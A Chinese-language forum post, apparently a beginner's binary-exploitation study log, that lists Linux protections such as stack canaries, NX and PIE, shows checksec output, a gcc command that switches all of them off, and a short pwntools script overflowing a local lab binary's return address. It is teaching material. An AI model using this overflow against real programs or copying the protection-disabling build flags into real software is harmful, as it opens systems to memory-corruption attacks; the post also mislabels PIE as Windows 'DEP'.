首页
论坛
课程
招聘
推荐专栏
课程评论
hackbs
Pwn        学习第三课打卡!

知识点:
-  ①CANNARY(栈保护)    {用来保护栈溢出,Cannary  found表示开了保护}
-  ②FORTIFY                                          {比较冷门,防止缓冲区溢出}
-  ③NX(DEP)                          {不让执行ShellCode操作}
-  ④PIE(ASLR)                    {Win上称为DEP  地址空间分布随机化}
-  ⑤RELRO                                            {设置符号重定向表格为只读,绑定所有动态符号,防止GOT攻击}

Linux下检查保护机制的命令:
checksec  test

[*]  '/home/lee/test'
        Arch:          i386-32-little
        RELRO:        Partial  RELRO
        Stack:        No  canary  found
        NX:              NX  disabled
        PIE:            No  PIE  (0x8048000)
        RWX:            Has  RWX  segments

关闭所有保护编译指令:
gcc  -no-pie  -fno-stack-protector  -z  execstack  -m32  -o  test  test.c

Exp:
from  pwn  import  *
#--------------------------------------
#init
testProcessHandle  =  process("./test")

#calc  ebp  offset
epbOffset  =  0x28  +  0x4

#exp  func  addresss
expAddress  =  0x08048456

#payload
payload  =  'A'  *  epbOffset  +  p32(expAddress)
#--------------------------------------


#  EntryPoint    Exp  Coding  By  Lee.
def  main():
        testProcessHandle.sendline(payload)
        testProcessHandle.interactive()
       
#  let's  go 
if  __name__  ==  "__main__":
        main()
合作伙伴